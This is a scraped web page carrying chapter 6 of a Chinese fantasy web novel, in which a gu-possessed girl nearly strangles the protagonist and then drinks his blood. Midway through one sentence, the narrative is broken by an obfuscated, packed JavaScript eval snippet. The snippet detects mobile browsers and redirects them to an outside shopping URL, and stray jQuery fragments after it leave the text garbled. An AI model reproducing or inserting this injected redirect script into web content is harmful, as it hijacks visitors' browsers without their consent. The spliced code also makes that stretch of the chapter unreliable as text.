默认冷灰
24号文字
方正启体

6. 第六章

作者:二三象本书字数:K更新时间:
    但他的手停在空中,已经离人很近,但终究没有落下。


    片刻后,桑法移开目光,站起来拍拍乌又的肩膀,怕她无聊,去拿了一个平板,按照寓教于乐的习惯,选了个法制教育节目播放,大概是因为有故事性,乌又看起来还挺喜欢。


    关上门,桑法将被乌又扔在地毯上和床上的衣服一件件捡起来,弄平整,挂回衣橱。


    应该将衣帽间收拾出一部分给乌又用,他心想。


    过了大概二十分钟,浴室里忽然传出一声响动,像是什么掉到地上的声音。


    “乌又?”


    桑法叫她的名字,但是没有得到回应。


    再次询问无果后,桑法打开浴室的门。


    氤氲的湿气充斥了整个房间,一切都显得闷热模糊,摔在地上的平板还在努力发出如同线路不好的杂音:


    “亲密关系……自然与性选择的结……果……面临死……亡威胁……恐惧管理……”


    穿过雾气、他一眼看到墙边的乌又。


    因为浴缸足够大,所以她横过身体,正对着门的方向,两肘搭在浴缸侧边,锁骨以上都浮在水面之上。


    微俯首,背上两片肩胛骨凸起,乌黑的湿发像蛇身一样、沿着瓷白的脊背蜿蜒攀附。


    听到声音,她垂着的脸抬了起来,转向桑法。


    湿淋淋的脸,面无表情,瞳色漆黑。


    一股寒意顺着桑法的脊柱窜上。


    同一时刻,两条街道开外,沿着无人道路独自行走的男人忽然停下,优雅又饶有兴趣地、向某个方向偏了一下脑袋。


    *


    桑法站在门口没动,没有试图进入或者退出,甚至没有转开目光,而是一直保持着他和乌又的对视。


    就像两只野兽,荒野上相遇,谁先移开目光,就会被视为猎物。


    然后他用左手解开右手手腕手表的卡扣,将脱落的手表扣在自己指节上。


    一边向乌又踏出一步。


    再近一步。


    “乌又。”他再次低声叫她的名字。


    乌又没有任何回应。


    直到桑法踏进她的安全距离范围,她才忽然动了。


    像一条蛇,盯住人,缓慢爬升,游弋着、湿淋淋地贴在桑法身上。浴缸水里的水明明应该是热的,但升腾的湿气下、皮肤却仍旧冰冷。


    动作不是很快,带着一种对猎物的试探摸索,贴近了,再近一点,伸长胳膊环绕过人脖颈,缓缓缠绕、绞固,慢慢加重力道。


    要将他绞死。


    感受不到任何人类的感情,桑法第一次如此真切地感受到她体内蛊的存在,她无限接近于一条冷血的捕猎者。


    桑法在稀薄的空气中微微仰头,侧颈的血管因为即将窒息的威胁而加速跳动,心脏泵出激涌的血液,如岩浆喷薄,带着周遭一片皮肤都炽热发烫。


    他艰难地挣扎出气声,再次叫乌又的名字。


    乌又这次听到了,她的动作忽然停下来。


    然后她偏过脑袋,看向桑法。


    有一瞬间似乎辨认出了他。


    桑法垂着眼睛望她,眼内含着一层模糊不清的湿气。


    因为隔着那层雾霭,他的眼神甚至算不上太冷酷。


    乌又停了一会儿,再凑近一点,鼻尖抵住人颈侧,薄薄一层皮肤下血管在剧烈地震动,炽热的温度将一切蒸腾,于是血液的味道变得更浓稠深重。


    她顿了一拍,下一瞬间她的瞳色变得更深,欲望形成漆黑浓重的漩涡,她阖眼吻上去,然后咬住他的侧颈。


    桑法下意识抬手就要敲碎那只手表,0.1秒,他的手指间就能夹住一片尖锐碎片,但电光火石之间又有什么念头快速闪过,像一根针刺进他的脑袋,冷锐的直觉迫使他强行中断自己的动作。


    下一刻,空气忽然涌入他的气管。


    桑法猛地喘了一口气,几乎过氧的快感中,一切感官都变得剧烈而清晰,他感受到乌又齿尖抵住自己,微钝的痛感。他仰着头、颤抖着吞咽了一下,在知道自己在乌又的食谱上的情况下,此刻被她控制住命脉的感觉、这种血液在对方唇齿间流动的感觉,他的心脏疯狂跳动,他不知道这是因为恐惧还是什么。


    “桑法……”


    他听到乌又含糊不清地叫他,舌尖舔过他的颈侧。


    桑法闭上眼睛,已经湿透了的白衬衣下胸膛起伏,他低低地嗯了一声。


    要吃掉我吗?


    下一秒,乌又仰起脸,很客气地跟人提出要求:“咬一口,好吗?”


    语气非常诚恳,“我饿了。”


    ……


    十分钟后,乌又裹着浴袍,乖乖坐在浴缸边上,桑法给她梳好头发,然后用吹风机给她吹干,看样子没怎么做过这种事情,动作不算熟练,吹完以后小蛇变成了一只炸毛小狗,他无声笑了一下,再用手指给人理顺。


    乌又已经有些困了,在被吹头发的时候就昏昏欲睡,吹风机的温度有点热,停在同一个地方超过三秒,她的脑袋就歪歪地转向另一个方向,等桑法发现了,给她扶正,没一会儿功夫就见她又向着前面一点一点。


    桑法终于理到她耳边,修长的手指慢慢穿过黑发,她就势一歪脑袋,将自己的脸搭在他的掌心里,一边模模糊糊地催人:“桑法,饿。”


    桑法将吹的蓬松的头发一点点给她理好,均匀散开:“忍住。”


    两分钟后,桑法慢条斯理地洗干净手,擦好,走出浴室,等再回来时,食指指腹已经开了一道口子。


    漆黑的身影完全将乌又罩住,他用中指与无名指挑起她的下巴,然后将伤口递到她嘴边:“张嘴。”


    小蛇视力不好,习惯依靠感官,眼睛都没有张开,鼻子嗅嗅、确定味道,张开嘴巴一口含了进去。


    尝到味道了,满意地发出一声鼻音,慢吞吞地吸了一点、再吸一点。


    桑法垂眼看着她的喉头慢慢吞咽。


    像一条喝水的小蛇。


    桑法指尖的创口不大,大概四口后,有些吸不动了。


    ……?


    乌又疑惑地睁开眼睛,看清食物来源是桑法的手指,不满地“嗯?”了一声。


    看不清具体动作,但桑法能感受到,乌又像一个磨牙期的小孩,叼着他的食指,用牙齿齿尖慢慢磨创口,因为力道不大,所以其实不算太痛。


    痛感很低,又有点痒意。


    大概算是很温和的吞食食物的方法。


    当然算是一种伤害,但桑法没有动,任由她继续。


    乌又在食物上很有耐心,就这样缓慢而有序地人为增大创口,直到一、两分钟后,感觉到有新鲜的血流出,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406864|200558||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    她才收回牙齿,用舌尖舔了一下确认,然后继续慢慢吮吸。


    “桑法,”她困倦地抬起眼来、和他视线对上,看他一会儿,发音模糊,“在、想什么?”


    桑法眼皮散漫半垂,漫不经心地用拇指轻柔而缓慢地抚过她的嘴唇。


    在想什么呢?


    在想我有一天竟然会用自己的血肉去喂养一个人类。


    在想我应该控制住喂养的血量,控制住你。


    他抬起另一只手,指尖顺着乌又的喉头、慢慢下滑。


    最终用虎口卡住她的喉咙。


    感受到冰冷的皮肤下,那节脆弱的软骨贴着自己的掌心上下移动。


    而死亡是一种终极控制。


    “乌又,”他轻声叫她,“你为什么要做我的主人?”


    乌又困得眼都睁不开了,“主人和宠物……”她叼着他的手指,声音模模糊糊的,“不分开……”


    脑袋一歪,睡过去了。


    桑法侧过手腕接住她的脸。


    小心捧好了,凝视着她。


    除了控制,还在想什么呢?


    在想我的血、我的身体的一部分……现在就在你的身体里。


    吃掉一个人其实是件浪漫的事情吧。在无数的文学作品中,那种诡谲、残忍、血腥的奇幻意象。渴望与食欲混杂在一起,极端的情感再次回归本能的生理需求,所有的高级进化全部化为乌有,要用最原始的方式,吞噬与被吞噬,让彼此相融,永不分离。


    超越所有的浪漫誓言,没有什么是比这更密不可分的链接,更忠诚的关系。


    桑法叹口气,将人抱起来,“睡吧,乌又。”


    *


    另一栋格局相似的房子里,年轻男人站在房间门口,冷光屏幕上游戏人物因为无人操作而呆滞在那里,荧蓝的光点围绕着它无声浮动。


    幽幽的蓝光穿透屏幕洒在不远处的沙发上,男孩侧着身子蜷缩着,已经以一个不算舒服的姿势睡着了。


    男人看了他片刻,走进去调暗屏幕,将一边滑落到地上的毛毯拉起来、给他盖上。


    动作间方卓惊醒了,因为屋内太暗,一时间只看到覆在自己身上的人影,他目光有些涣散地犹疑着问人:“哥?”


    男人静静地注视着他,直到方卓的脸上因为没有得到回应而显出慌乱,他才轻轻握住他的手,温柔地给予肯定:“是我。”


    方卓这才喘出一口气,困意再次涌上,但在彻底沉入睡眠之前,他如同被教化过无数遍习惯已刻入骨子里一般下意识喃喃吟诵:“感谢我主,赐予我内在的美德……凡于我有益之物,愿其与我内在和谐一致……和平、友爱……没有您,无人拥有安康。”


    说完,他垂下脸去摸索着用嘴唇碰了碰人的指节。


    男人垂着眼睫,声音温和持重:“故此我献上此祈祷,愿其得允。”


    “对了,哥,”方卓在松开手指前,忽然如同痉挛一般试图又抓握了一下,“我今天……交……想带你……见……”


    声音越来越低,直至彻底睡着了。


    男人在黑暗中等了几秒,灰蓝色的荧光落在他的睫毛上,又飞开了,“如果命运注定,会见到的。”语调静而缓。


    同一时刻的寨子中,乌由独自坐在神屋里,也在低声重复着同一个词:“命运。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)